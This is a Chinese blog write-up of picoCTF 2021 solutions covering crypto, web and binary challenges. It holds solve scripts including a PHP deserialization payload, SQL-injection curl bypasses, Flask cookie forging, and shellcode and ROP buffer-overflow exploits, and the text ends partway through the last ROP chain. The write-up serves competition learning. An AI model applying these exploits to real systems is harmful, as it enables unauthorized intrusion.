picoCTF 2021 WriteUps

發表於 2021-03-31

分類於 CTF

English

picoCTF 2021 裡面我有解的題目中部分題目的 WriteUps。沒寫的內容有空再補充。

Cryptography

Mind your Ps and Qs

這題其實就只是 n 的 bits 數太小而已，直接找個分解軟體就好了，丟 FactorDB 也是個方法。

Easy Peasy

可以注意到它的 key 會循環，循環之後把 key 拿回來 xor 即可。

from pwn import *

r = remote("mercury.picoctf.net", 11188)
r.recvline()
r.recvline()
flag_enc = bytes.fromhex(r.recvline().decode())
fl = len(flag_enc)


def enc(m):
    r.sendlineafter(b"What data would you like to encrypt? ", m)
    r.recvline()
    return bytes.fromhex(r.recvline().decode())


enc("a" * (50000 - fl))
keyxor = enc("a" * fl)


def xor(x, y):
    return bytes(a ^ b for a, b in zip(x, y))


key = xor(keyxor, b"a" * fl)
flag = xor(flag_enc, key)
print("picoCTF{%s}" % flag.decode())

New Caesar

需要寫個它的特殊版本 base16 的解碼函數，然後 key 的部份因為搜尋範圍很小就直接暴力解。

import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]


def b16_encode(plain):
    enc = ""
    for c in plain:
        binary = "{0:08b}".format(ord(c))
        enc += ALPHABET[int(binary[:4], 2)]
        enc += ALPHABET[int(binary[4:], 2)]
    return enc


def b16_decode(enc):
    assert len(enc) % 2 == 0
    plain = ""
    for a, b in zip(enc[::2], enc[1::2]):
        high = ord(a) - ord("a")
        low = ord(b) - ord("a")
        plain += chr(low + high * 16)
    return plain


def shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 + t2) % len(ALPHABET)]


enc = b16_encode("hello")
print(b16_decode(enc))

flag_enc = (
    "apbopjbobpnjpjnmnnnmnlnbamnpnononpnaaaamnlnkapndnkncamnpapncnbannaapncndnlnpna"
)

for k in range(16):
    shifted = "".join(
        [chr(((ord(c) - ord("a") + k) % 16) + ord("a")) for c in flag_enc]
    )
    print(k, b16_decode(shifted))

Mini RSA

$c\equiv m^e\pmod{N}\implies m^e=c+kN$ ，這題就直接暴力找出 $k$ 的值就好了，只要是完全立方數就是答案。

import gmpy2

n = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287
c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808147130204332030239454609548193370732857240300019596815816006860639254992255194738107991811397196500685989396810773222940007523267032630601449381770324467476670441511297695830038371195786166055669921467988355155696963689199852044947912413082022187178952733134865103084455914904057821890898745653261258346107276390058792338949223415878232277034434046142510780902482500716765933896331360282637705554071922268580430157241598567522324772752885039646885713317810775113741411461898837845999905524246804112266440620557624165618470709586812253893125417659761396612984740891016230905299327084673080946823376058367658665796414168107502482827882764000030048859751949099453053128663379477059252309685864790106

for k in range(10000000000):
    [r, exact] = gmpy2.iroot(c + n * k, 3)
    if exact:
        print(k)
        print(r)
        print(bytes.fromhex(hex(r)[2:]))
        print(r ** 3 - n)
        break

它題目有說 $m^e$ 略大於 $N$ 可能沒講的很清楚，因為在 $N$ 有這種大小的情況下就算差個幾千倍也是差不多

Dachshund Attacks

Wiener’s attack

No Padding, No Problem

它提供了讓你計算 $c^d\pmod{N}$ 的功能，但是要求解密之後的值不能是 flag。繞過的方法也很簡單，就把密文換成 $c'=k^ec$ ，其中的 $k$ 是個你知道的常數。這樣它解密完會得到 $c'^d\equiv k^{ed}c^d\equiv km\equiv m'\pmod{N}$ ，之後把得到的 $km$ 除掉你知道的 $k$ 就是 flag 了。

為了計算方便可以取 $k=-1$ ，因為 $e=65537$ 所以 $c'=N-c$ ，然後 $m=N-m'$ 。

It’s Not My Fault 1

這題它限制了 RSA CRT 的 $d_p$ 的大小到 $2^{20}$ 以內。然後因為 $ed_p\equiv1\pmod{p-1}$ 和費馬小定理的結果，可知 $r^{ed_p}\equiv r\pmod{p}$ 。

不過這題實際上測試時會發現 $ed_p\pmod{p-1}$ 不一定是 $1$ ，不過姑且就只考慮正常的情況

再來可以推得 $r^{ed_p}-r=kp$ ，再來對於 $(1,N)$ 之中隨便選的一個數 $r$ 有很高的機率可以得到 $p=\gcd(r^{ed_p}-r,N)=\gcd((r^{ed_p}-r)\mod{N},N)$ 。

所以接下來就暴力找 $d_p$ 的值出來就可以了， $2^{20}$ 的範圍搭配一些 multiprocessing 可以在幾分鐘內找出來。

from pwn import remote, process
from hashlib import md5
from itertools import product
import string
from sage.all import factor, gcd, power_mod, Zmod, PolynomialRing
from random import randint

conn = remote("mercury.picoctf.net", 41175)


def solve_pow():
    line = conn.recvline().decode().strip()
    prefix = line[33:38]
    suffix = line[-6:]
    print(f"md5({prefix} + ???) = ??? + {suffix}")
    for x in product(string.printable, repeat=10):
        s = prefix + "".join(x)
        if md5(s.encode()).hexdigest()[-6:] == suffix:
            conn.sendline(s)
            break


solve_pow()
conn.recvuntil(b"Public")
n = int(conn.recvline().decode().strip().split(" ")[-1])
e = int(conn.recvline().decode().strip().split(" ")[-1])
print(n)
print(e)

BITS = 20

# https://crypto.stackexchange.com/questions/46486/rsa-given-n-e-dp-is-it-possible-to-find-d
from multiprocessing.dummy import Pool
import gmpy2
rs = [gmpy2.mpz(randint(1, n)) for _ in range(5)]
res = [gmpy2.powmod(r, e, n) for r in rs]  # precompute r^e
def factor_with_dp(d_p):
    for r, re in zip(rs, res):
        p = gmpy2.gcd((gmpy2.powmod(re, d_p, n) - r) % n, n)
        if p > 1 and p < n:
            assert n % p == 0
            q = n // p
            return p, q
ans = None
for result in Pool(16).imap_unordered(factor_with_dp, range(1 << BITS, 0, -1)):
    if not result:
        continue
    p, q = result
    assert p * q == n
    print("factored")
    print(p)
    print(q)
    ans = str(p + q)
    break

conn.sendline(ans)
print(conn.recvall().decode())

這題也算是這次 picoCTF crypto 裡面的第三難題了，一共只有不到 90 隊解出，我一開始也是在這題花了不少時間才找到做法的

Play Nice

一個奇怪的 cipher，不過它 key 都給了，只要寫出解密的函數即可，稍微觀察一下可以很簡單的寫出它的解密方法，因為幾乎和加密函數是對稱的。

SQUARE_SIZE = 6


def generate_square(alphabet):
    assert len(alphabet) == pow(SQUARE_SIZE, 2)
    matrix = []
    for i, letter in enumerate(alphabet):
        if i % SQUARE_SIZE == 0:
            row = []
        row.append(letter)
        if i % SQUARE_SIZE == (SQUARE_SIZE - 1):
            matrix.append(row)
    return matrix


def get_index(letter, matrix):
    for row in range(SQUARE_SIZE):
        for col in range(SQUARE_SIZE):
            if matrix[row][col] == letter:
                return (row, col)
    print("letter not found in matrix.")
    exit()


def encrypt_pair(pair, matrix):
    p1 = get_index(pair[0], matrix)
    p2 = get_index(pair[1], matrix)

    if p1[0] == p2[0]:
        return (
            matrix[p1[0]][(p1[1] + 1) % SQUARE_SIZE]
            + matrix[p2[0]][(p2[1] + 1) % SQUARE_SIZE]
        )
    elif p1[1] == p2[1]:
        return (
            matrix[(p1[0] + 1) % SQUARE_SIZE][p1[1]]
            + matrix[(p2[0] + 1) % SQUARE_SIZE][p2[1]]
        )
    else:
        return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]]


def decrypt_pair(pair, matrix):
    p1 = get_index(pair[0], matrix)
    p2 = get_index(pair[1], matrix)

    if p1[0] == p2[0]:
        return (
            matrix[p1[0]][(p1[1] - 1) % SQUARE_SIZE]
            + matrix[p2[0]][(p2[1] - 1) % SQUARE_SIZE]
        )
    elif p1[1] == p2[1]:
        return (
            matrix[(p1[0] - 1) % SQUARE_SIZE][p1[1]]
            + matrix[(p2[0] - 1) % SQUARE_SIZE][p2[1]]
        )
    else:
        return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]]


def encrypt_string(s, matrix):
    result = ""
    if len(s) % 2 == 0:
        plain = s
    else:
        plain = s + "irlgektq8ayfp5zu037nov1m9xbc64shwjd2"[0]
    for i in range(0, len(plain), 2):
        result += encrypt_pair(plain[i : i + 2], matrix)
    return result


def decrypt_string(s, matrix):
    assert len(s) % 2 == 0
    result = ""
    for i in range(0, len(s), 2):
        result += decrypt_pair(s[i : i + 2], matrix)
    return result


alphabet = "irlgektq8ayfp5zu037nov1m9xbc64shwjd2"
matrix = generate_square(alphabet)
enc = encrypt_string("hello0pekomiko", matrix)
print(enc)
m = decrypt_string(enc, matrix)
assert m == "hello0pekomiko"
print(m)

from pwn import *

r = remote("mercury.picoctf.net", 40742)
r.recvline()
r.recvuntil(b"Here is the encrypted message: ")
ct = r.recvline().decode().strip()
pt = decrypt_string(ct, matrix)
print(pt)
r.sendlineafter(b"What is the plaintext message?", pt)
print(r.recvline().decode())

Double DES

這題原本的暴力搜索範圍有 $2^{12}$ ，不過可以用 Meet-in-the-middle attack 以空間換取時間在 $2^6$ 的範圍去暴力搜索。

原理是把 $C=E_{k_2}(E_{k_1}(P))$ 變成 $D_{k_2}(C)=E_{k_1}(P)$ ，然後先把 $k_1$ 的範圍都先搜索過一遍之後存下來，之後搜索 $k_2$ 的時候查表就行。

from Crypto.Cipher import DES
import string
from itertools import product
from tqdm import tqdm


def pad(msg):
    block_len = 8
    over = len(msg) % block_len
    pad = block_len - over
    return (msg + " " * pad).encode()


flag_ct = bytes.fromhex(
    "ffcb6ff203c280e583119d2e077d109fdfecfd468e998f28b443d0e1ee9a6a38c02d74da59af7b14"
)

spaces = b" " * 8
space_ct = bytes.fromhex("c02d74da59af7b14")

table = {}

print("key1")
for k in tqdm(product(string.digits, repeat=6), total=10 ** 6):
    key = ("".join(k) + "  ").encode()
    ct = DES.new(key, DES.MODE_ECB).encrypt(spaces)
    table[ct] = key

print("key2")
for k in tqdm(product(string.digits, repeat=6), total=10 ** 6):
    key = ("".join(k) + "  ").encode()
    ct = DES.new(key, DES.MODE_ECB).decrypt(space_ct)
    if ct in table:
        key1 = table[ct]
        print(key1, key)
        flag = DES.new(key1, DES.MODE_ECB).decrypt(
            DES.new(key, DES.MODE_ECB).decrypt(flag_ct)
        )
        print(flag)
        break

Compress and Attack

利用壓縮的性質是把重複出現的連續字元消除掉的性質，可以知道如果有出現過相同的子字串的話長度會比較短，而它的加密方式是 stream 的，長度不會改變，所以暴力搜尋之後比對長度就好了。

import string
from pwn import *

conn = remote("mercury.picoctf.net", 29858)


def get_ciphertext_length(b: bytes):
    conn.recvuntil(b"Enter your text to be encrypted: ")
    conn.send(b + b"\n")
    conn.recvline()
    conn.recvline()
    return int(conn.recvline().decode().strip())


flag = b"picoCTF{"
chrs = b"{_}" + (string.ascii_lowercase + string.ascii_uppercase).encode()

from itertools import product

while True:
    l = get_ciphertext_length(flag + b"-") # There is probably no "-" in flag
    for i in chrs:
        c = bytes([i])
        b = flag + c
        if get_ciphertext_length(b) < l:
            break
    flag = flag + c
    print(flag)
    if c == b"}":
        break

Scrambled: RSA

這題我搞不太清楚為什麼和 RSA 有關係，所以就直接想辦法通靈觀察規律找出了解法。

首先是可以讓它加密長度為 1 的字串，可以發現說它的密文都是固定的。之後加密兩個字元的字串如 ab 時會發現它只有兩種密文，仔細觀察之後可以發現說那兩種密文中都有只加密 a 一個字元的的密文，所以去掉那一段之後剩下的應該就是 b 的密文，但是那卻不是只加密 b 一個字元的密文。

我是推測說它大概是和前綴有些關係的，所以就繼續做了點測試發現說符合我的猜想，不過順序都是完全隨機的。這樣我的作法是用個字典把字元與密文的對應關係存下來，然後一個一個字元去暴力破解就能找到 flag 了。

from pwn import *
import string

r = remote("mercury.picoctf.net", 61477)
r.recvuntil(b"flag: ")
flag_ct = r.recvline().decode()
r.recvline()  # n
r.recvline()  # e


def encrypt(s: str):
    r.sendlineafter(b"I will encrypt whatever you give me: ", s)
    r.recvuntil(b"Here you go: ")
    return r.recvline().decode().strip()


def get_represent(prefix: str, c: str, dt: dict):
    s = encrypt(prefix + c)
    for k in dt.keys():
        s = s.replace(k, "")
    return s


dt = {}
known = "picoCTF{"
flag = ""
for c in known:
    rp = get_represent(flag, c, dt)
    assert rp in flag_ct
    dt[rp] = c
    flag += c
    flag_ct = flag_ct.replace(rp, "")

chrs = "_}" + string.digits + string.ascii_lowercase + string.ascii_uppercase

while not flag.endswith("}"):
    for c in chrs:
        rp = get_represent(flag, c, dt)
        if not rp in flag_ct:
            continue
        dt[rp] = c
        flag += c
        flag_ct = flag_ct.replace(rp, "")
        print(flag)
        break

It is my Birthday 2

我用了 sha1collider 去生成兩個擁有相同 hash 的兩個不同的 pdf，然後再利用 sha1 的一個性質: $\mathit{sha1}(a)=\mathit{sha1}(b)\implies\mathit{sha1}(a|m)=\mathit{sha1}(b|m)$ 。所以就把它的 invite.pdf 的最後 1000 bytes 接上去就可以了。(tail -c 1000 invite.pdf >> a.pdf)

Pixelated

我直接把兩張圖丟到 PS 裡面疊圖，然後用實色疊印混合就能弄到勉強看了出來的 flag 了。

flag

New Vignere

因為它的原文是它自己的特殊版 base16，所以字元可能性很少，也代表它有很多的限制(constraint)。這個時候就直接用 z3 把條件都限制住，然後給它自己求解就好。

import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]


def b16_encode(plain):
    enc = ""
    for c in plain:
        binary = "{0:08b}".format(ord(c))
        enc += ALPHABET[int(binary[:4], 2)]
        enc += ALPHABET[int(binary[4:], 2)]
    return enc


def b16_decode(enc):
    assert len(enc) % 2 == 0
    plain = ""
    for a, b in zip(enc[::2], enc[1::2]):
        high = ord(a) - ord("a")
        low = ord(b) - ord("a")
        plain += chr(low + high * 16)
    return plain


def shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 + t2) % len(ALPHABET)]


def unshift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 - t2) % len(ALPHABET)]


b16 = b16_encode("abcdef0123456789")
chunks = [b16[i : i + 2] for i in range(0, len(b16), 2)]
print(chunks)
hi_chars = set(c[0] for c in chunks)
lo_chars = set(c[1] for c in chunks)
print(hi_chars)
print(lo_chars)


def encrypt(b16, key):
    enc = ""
    for i, c in enumerate(b16):
        enc += shift(c, key[i % len(key)])
    return enc


def decrypt(b16, key):
    enc = ""
    for i, c in enumerate(b16):
        enc += unshift(c, key[i % len(key)])
    return enc


from z3 import *


def z3_InList(x, l):
    return Or([x == e for e in l])


def get_keys(ciphertext, keylen):
    key = [BitVec(f"key_{i}", 4) for i in range(keylen)]
    ct = [ord(c) - ord("a") for c in ciphertext]
    hi = [ord(c) - ord("a") for c in hi_chars]
    lo = [ord(c) - ord("a") for c in lo_chars]
    s = Solver()
    for i, c in enumerate(ct):
        xc = (c - key[i % keylen]) % 16
        s.add(z3_InList(xc, hi if i % 2 == 0 else lo))
    while s.check() == sat:
        m = s.model()
        kk = [m[k].as_long() for k in key]
        keystr = "".join([chr(k + ord("a")) for k in kk])
        yield keystr
        s.add(Or([a != b for a, b in zip(key, kk)]))


print(b16)
test_ct = encrypt(b16, "acbgdag")
for k in get_keys(test_ct, 7):
    print(k, decrypt(test_ct, k))

flag_ct = "bgjpchahecjlodcdbobhjlfadpbhgmbeccbdefmacidbbpgioecobpbkjncfafbe"
for keylen in range(4, 16):
    for k in get_keys(flag_ct, keylen):
        b = decrypt(flag_ct, k)
        print(keylen, k, b16_decode(b))

It’s Not My Fault 2

這題和它的第一題 It’s Not My Fault 唯一的差別是 $d_p$ 的範圍變成了 $2^{36}$ ，代表沒辦法用前面的暴力作法去找了。

我的想法是找那個 $d_p$ 有點像是在算離散對數問題的感覺，所以大概存在某個 $\mathcal{O}(\sqrt{n})$ 的算法可以算出 $d_p$ ，然後這樣的話範圍變成了 $2^{18}$ ，也是蠻合理的情況。

不過要找這個方法真的不容易，我是在 Twenty Years of Attacks on the RSA Cryptosystem 裡面第五頁中看到了它說有辦法在 $\mathcal{O}(\min(\sqrt{d_p},\sqrt{d_q}))$ 的時間中分解 $N$ ，但是卻沒說做法是什麼。

之後想辦法找就找到了這個問題 Attack on CRT-RSA，裡面的發問者也是和我看到了同一篇文章的那句話，但卻不曉得方法是什麼而問的。從下面的回答中可以知道是有個核心概念類似 Baby-step giant-step 的演算法能做到這件事。(看來我前面的猜測是對的)

方法的來源是 Mathematics of Public Key Cryptography. Version 2.0 的 24.5.2 這個方法是設 $0<d_p<D^2$ ，所以 $d_p=a+bD$ ，所以原先的 $\gcd(r^{ed_p}-r,N)=\gcd(r^{ea}r^{ebD}-r,N)$ 。之後可以先算出一個多項式 $f(y)=\prod_{i=0}^{D-1}(r^{ei}y-r)$ ，然後之後再對於 $y=r^{ebD}, 0<b<D$ 計算 $f(y)$ 的值然後和 $N$ 做 $gcd$ 就有很高的機率能找到答案。

不過可以看出多項式 $\deg{f(y)}=D$ ，再來計算 $D$ 個 $y$ ，這樣的複雜度還是一樣 $D^2$ 並沒有比較好。這個時候需要一個特殊的演算法可以讓你計算多項式在多個點的算法，這個可以參考 Mathematics of Public Key Cryptography. Version 2.0 的 2.16.1 或是 Modern Computer Algebra Third Edition 的 10.1。

from pwn import remote, process
from hashlib import md5
from sage.all import *
from itertools import product
import string
from random import randint

conn = remote("mercury.picoctf.net", 53988)


def solve_pow():
    line = conn.recvline().decode().strip()
    prefix = line[33:38]
    suffix = line[-6:]
    print(f"md5({prefix} + ???) = ??? + {suffix}")
    for x in product(string.printable, repeat=10):
        s = prefix + "".join(x)
        if md5(s.encode()).hexdigest()[-6:] == suffix:
            conn.sendline(s)
            break


solve_pow()
conn.recvuntil(b"Public")
n = int(conn.recvline().decode().strip().split(" ")[-1])
e = int(conn.recvline().decode().strip().split(" ")[-1])
print(n)
print(e)

BITS = 36

from sage.libs.ntl.ntl_ZZ_pX import ntl_ZZ_pContext, ntl_ZZ_pX
from poly_fast import poly_fast_ntl
from tqdm import tqdm


def square_root_attack():
    K = 1 << BITS
    D = 1 << (BITS // 2)
    Z = Zmod(n)
    x = Z(randint(2, n - 1))
    ctx = ntl_ZZ_pContext(n)
    xe = x ** e
    f_fac = []
    for i in tqdm(range(0, D)):
        f_fac.append(ntl_ZZ_pX([-x, xe ** i], ctx))
    # NTL's polynomial multiplication is much faster
    f = sage.all.product(f_fac)  # Because itertools.product != sage.all.product
    xed = xe ** D
    ys = [xed ** b for b in range(0, D)]
    for t in poly_fast_ntl(ctx, f, ys):
        p = gcd(t, n)
        if p > 1 and p < n:
            assert n % p == 0
            q = n // p
            return p, q


# if e*d_p != 1 (mod p), it will be infinite loop
while (r := square_root_attack()) is None:
    pass

p, q = r
ans = str(p + q)
conn.sendline(ans)
print(conn.recvall().decode())

其中的 poly_fast 檔案是這樣的:

from sage.all import *
from sage.libs.ntl.ntl_ZZ_pX import ntl_ZZ_pContext, ntl_ZZ_pX

def poly_fast_ntl(ctx, f, xs):
    n = len(xs)
    k = ceil(log(n, 2))
    if (2 ** k) > n:
        xs = xs + [0] * ((2 ** k) - n)

    def build_tree(xs, k):
        M = {}
        for j in range(0, 2 ** k):
            M[(0, j)] = ntl_ZZ_pX([-xs[j], 1], ctx)
        for i in range(1, k + 1):
            for j in range(0, 2 ** (k - i)):
                M[(i, j)] = M[(i - 1, 2 * j)] * M[(i - 1, 2 * j + 1)]
        return M

    def compute(f, xs, k, M, s=0):
        if k == 0:
            yield f
            return
        r0 = f % M[(k - 1, 2 * s)]
        r1 = f % M[(k - 1, 2 * s + 1)]
        mid = len(xs) // 2
        yield from compute(r0, xs[:mid], k - 1, M, 2 * s)
        yield from compute(r1, xs[mid:], k - 1, M, 2 * s + 1)

    M = build_tree(xs, k)
    ans = list(compute(f, xs, k, M))
    # Using int instead of Integer will overflow...
    return [Integer(pl.list()[0]) for pl in ans[:n]]

在實作演算法的過程中我發現到 Sage 本身的 PolynomialRing 的乘法很慢，不曉得是我用的方法錯誤還是怎麼回事所以就放棄了直接求出 $f(y)$ 再算 $f(y)\mod M_{i,j}$ 的計畫，而想辦法用餘式定理和中國餘數定理去算，最後是有在數字是比較小的合數時實作成功。但是當使用真正的 $N$ 時會有錯誤，後來查了一下找到了這個 Ticket ，看來是因為 Sage 在數字大的時候會換成 NTL 的 implementation，它雖然有 xgcd 但 Sage 沒把它整合進去所以有錯誤。所以我後來又換成了直接用 NTL 的多項式去計算，也是能成功，不過在偶然間發現說 NTL 的多項式乘法比一般的 PolynomialRing 快上太多了，有辦法直接算出 $f(y)$ ，所以後來全部用 NTL 就解掉這題了。

另一個做法是用 Divide and Conquer 去算多項式，出題者就是這樣做的: attack.py

這題大概算是 crypto 裡面第二難的，到最後只有大約 20 幾隊解掉，而最難是 Clouds，只有不到 20 隊解掉，也是我唯一沒解掉的 crypto 題目。

Web Exploitation

Scavenger Hunt

Flag 分成五個 parts

Part 1: HTML 裡面
Part 2: CSS 裡面
Part 3: robots.txt 裡面
Part 4: .htaccess 裡面
Part 5: .DS_Store 裡面

Who are you?

改 Header 的題目，有好幾關要過。

第一關: User-Agent
第二關: Referer
第三關: Date
第四關: X-Forwarded-For
第五關: Accept-Language

It is my Birthday

上傳兩個 .pdf 結尾的不同檔案，然後要有相同的 md5。這部分一個是可以直接用工具來生成相同 md5 的 pdf，不難。另一個方法是去弄兩個 md5 都是 0e 開頭的檔案，然後利用 php 的弱比較特性通過。

Super Serial

這題先到 robots.txt 中可以看到它似乎有支援 .phps 的檔案格式，測試一下 index.phps 之後就看到原始碼了。裡面可以看到 authentication.php，其中又使用到了 cookie.php，然後可以注意到它會 unserialize 你的 cookie。

題目有說目標是讀取 ../flag 的檔案內容，注意一下可以在 access_log 的 read_log 看到讀檔案的函數，而它又會在 __toString 的時候被呼叫。再來看到 cookie.php 底下的解碼區域，它會 unserialize 之後呼叫物件上面的 is_guest 和 is_admin，然後外面有 try..catch，錯誤處裡的時候會把 unserialize 出來的物件給接上字串。

所以方法就構造一個 access_log 的物件，其中的 log_file 設為 ../flag，然後它解碼之後因為沒有 is_guest 函數所以會產生錯誤，之後進到 catch 的部份就被接上字串，所以會呼叫到 __toString，其中又呼叫到了 read_log 就成功讀到檔案了。

生成 payload 的程式碼:

<?php
class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}
$perm = new access_log("../flag");
echo base64_encode(serialize($perm));

Most Cookies

server.py 中可以看到它的 app.secret_key 是從 cookie_names 中隨便選出來的，所以只要確定是哪個是 secret 就能自己簽 cookie 了。

這部分我是利用 Flask Unsign，它可以很方便的幫你處裡 Flask Cookie 之類的東西。

然後我就先把 cookie_names 放到一個 cookies.txt 的檔案中，然後執行 flask-unsign --cookie "$YOUR_COOKIE" --unsign -w cookies.txt 就能知道是哪個 key 了。

之後再用 flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "$SECRET_KEY" 去簽需要的 cookie 即可。

想自己去爆破或是簽名的可以去研究 itsdangerous 怎麼用，自己寫個腳本破 secret 然後再 sign 也行。

Web Gauntlet 2

要繞過它的 filters 然後用 SQLi 登入為 admin 才行，我的作法是用接字串的方法然後再配合 substr 把後面的字串給去掉即可。

curl "http://mercury.picoctf.net:57359/index.php" --data "user=adm'||'in'||substr(&pass=,0,0)||'" -s | grep h6

對於這題我有個想吐槽的地方是它居然還有沒寫在 filters 裡面的 filter，像是 password 是不能出現的，不然我還有個這樣的 payload: curl "http://mercury.picoctf.net:57359/index.php" --data "user=adm'||'in&pass='||password||'" -s | grep h6

Web Gauntlet 3

和前一題差不多，但是長度限制為 25 字元以內，所以前面的 substr 會超過。不過繞過的核心概念還是差不多，利用 printf 即可。

curl "http://mercury.picoctf.net:24143/" --data "user=adm'||printf('in',&pass=)||'" | grep h6

Some Assembly Required 1

Devtool 把 wasm 打開，拉到最下面的 data 區域就直接看到 flag 了。

Some Assembly Required 2

可以看到在它的函數裡面有 xor，所以我就拿底下給的 data 到 python 去和 pico xor 看看，發現值都是一樣的，所以就把整塊 data 和那個值 xor 之後就是 flag 了。

Some Assembly Required 3

我解這題的方法有 99.99% 的機率不是 intended solution，比較像是邪魔歪道

首先我先用 wasm2c 把題目的 wasm 轉換成 C: wasm2c pico_web_asm_3.wasm -o pico_web_asm_3.c

然後寫個 wrapper:

#include "pico_web_asm_3.h"
#include <stdio.h>
#include <string.h>

int main()
{
    init();
    char buf[100];
    scanf("%s", buf);
    int l = strlen(buf);
    for (int i = 0; i < l; i++)
    {
        Z_copy_charZ_vii(buf[i], i);
    }
    Z_copy_charZ_vii(0, l);
    int ret = Z_check_flagZ_iv();
    puts("");
    if (ret)
    {
        printf("Good\n");
    }
    else
    {
        printf("Bad\n");
    }
    return 0;
}

編譯的指令是: gcc wrapper.c pico_web_asm_3.c wasm-rt-impl.c -o pico_web_asm_3 -Ofast，其中的 wasm-rt-impl.c 可以在這邊找到。之後執行之後就變成一個普通的 flag checker 了。

接下來可以到 pico_web_asm_3.c 裡面的 w2c_strcmp 裡面會看到它只有一個 ==，合理推斷這個就是比較的結果，所以就在它下面加上一行類似 printf("%d", w2c_i0); 的東西再重新編譯一次。然後測試時可以隨便輸入像是 picoa 和 picoC 的字串，前者會出現 11110 的結果，後者則是 111110，所以這樣就能寫個腳本來暴力破解各個字元是什麼了。

from pwn import *
import string

context.log_level = "error" # mute pwntools


def test(s):
    p = process("./pico_web_asm_3")
    p.sendline(s)
    r = p.recvline().decode()
    p.kill()
    return r.count("1")


flag = "picoCTF{"
chrs = "{_}" + string.ascii_lowercase + string.ascii_uppercase + string.digits

while True:
    for c in chrs:
        r = test(flag + c)
        if r > len(flag):
            flag += c
            break
    print(flag)
    if flag.endswith("}"):
        break

Some Assembly Required 4

這題的處裡方法基本上和前一題一樣，一樣是把它變成 flag checker 然後再加上那個 printf，不過會發現前一題的腳本沒辦法直接用在這題上面。

做一些測試之後會發現它是兩個字元一組檢查的，像是 p 的輸出就只有 0，但是 pi 的輸出卻是 110，所以改一下爆破的腳本一樣即可。

from pwn import *
import string
from itertools import product

context.log_level = "error"


def test(s):
    p = process("./pico_web_asm_4")
    p.sendline(s)
    r = p.recvline().decode()
    p.kill()
    return r.count("1")


flag = "picoCTF{"
chrs = "{_} " + string.ascii_lowercase + string.digits  # + string.ascii_uppercase

while True:
    for c, d in product(chrs, repeat=2):
        r = test(flag + c + d)
        if r > len(flag) and r % 2 == 0:
            flag += c + d
            break
    else:
        print('no result found, probably a single "}"')
        break
    print(flag)
    if flag.endswith("}"):
        break

Binary Exploitation

Binary Gauntlet 0

直接把它 overflow 掉就會 print flag 了。

Binary Gauntlet 1

用它給的 address ret 到 shellcode 上面即可。

from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

p = remote("mercury.picoctf.net", 65502)
# p = process("./pico_gauntlet1")

addr = int(p.recvline().decode().strip(), 16)
print(hex(addr))
p.sendline("pekomiko saiko!")
sc = asm(shellcraft.sh())
p.sendline(sc + b"a" * (120 - len(sc)) + p64(addr) + b"bbbb")
p.interactive()

Binary Gauntlet 2

用 printf 去 leak stack address，然後用 gdb 找找看 offset 是多少(這個會受 libc 版本影響)，然後 ret 到 shellcode 上面。

from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

p = remote("mercury.picoctf.net", 33542)
# p = process("./pico_gauntlet2") # need to patch to 2.27-3ubuntu1.2_amd64, or exploit won't work

p.sendline("%6$p")
addr = int(p.recvline().decode().strip(), 16)
print(hex(addr))
sc = asm(shellcraft.sh())
p.sendline(sc + b"a" * (120 - len(sc)) + p64(addr - 0x158))
p.interactive()

Binary Gauntlet 3

這題可以用 printf 去得到 libc 的 base address，不過在寫 rop 時會發現到因為它用的是 strcpy，所以遇到 \0 就會停止，代表只能控制一次 rip。

一個做法是直接 ret 的 libc 上的 one gadget 就好了。

另一個方法是在 gdb 時可以發現到它 ret 時的 rdi 正好是 strcpy 的 dest，所以這時候 ret 到 gets 的話代表能直接隨便寫入到 stack 上了。

之後需要注意到的是 dest 的位置是在 stack 比較上面的地方，所以 gets 寫入之後我們是有辦法控制到 gets 的 ret，所以再算好 offset 之後給它接真正的 rop chain 即可。

from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc.so.6")

p = remote("mercury.picoctf.net", 15887)
# p = process("./pico_gauntlet3")
# need to patch to 2.27-3ubuntu1.2_amd64, or exploit won't work

p.sendline("%23$p")
__libc_start_main_231 = int(p.recvline().decode().strip(), 16)
base = __libc_start_main_231 - libc.sym["__libc_start_main"] - 231
print(hex(base))

# one gadget
# p.sendline(b"a" * 120 + p64(base + 0x10A41C))

# gets then execve
binsh = base + next(libc.search(b"/bin/sh"))
pop_rdi = 0x400793
pop_rsi_r15 = 0x400791
pop_rdx = base + 0x1B96
execve = base + libc.sym["execve"]
chain = flat([pop_rdi, binsh, pop_rsi_r15, 0, 0, pop_rdx, 0, execve])

p.sendline(b"a" * 120 + p64(base + libc.sym["gets"]))
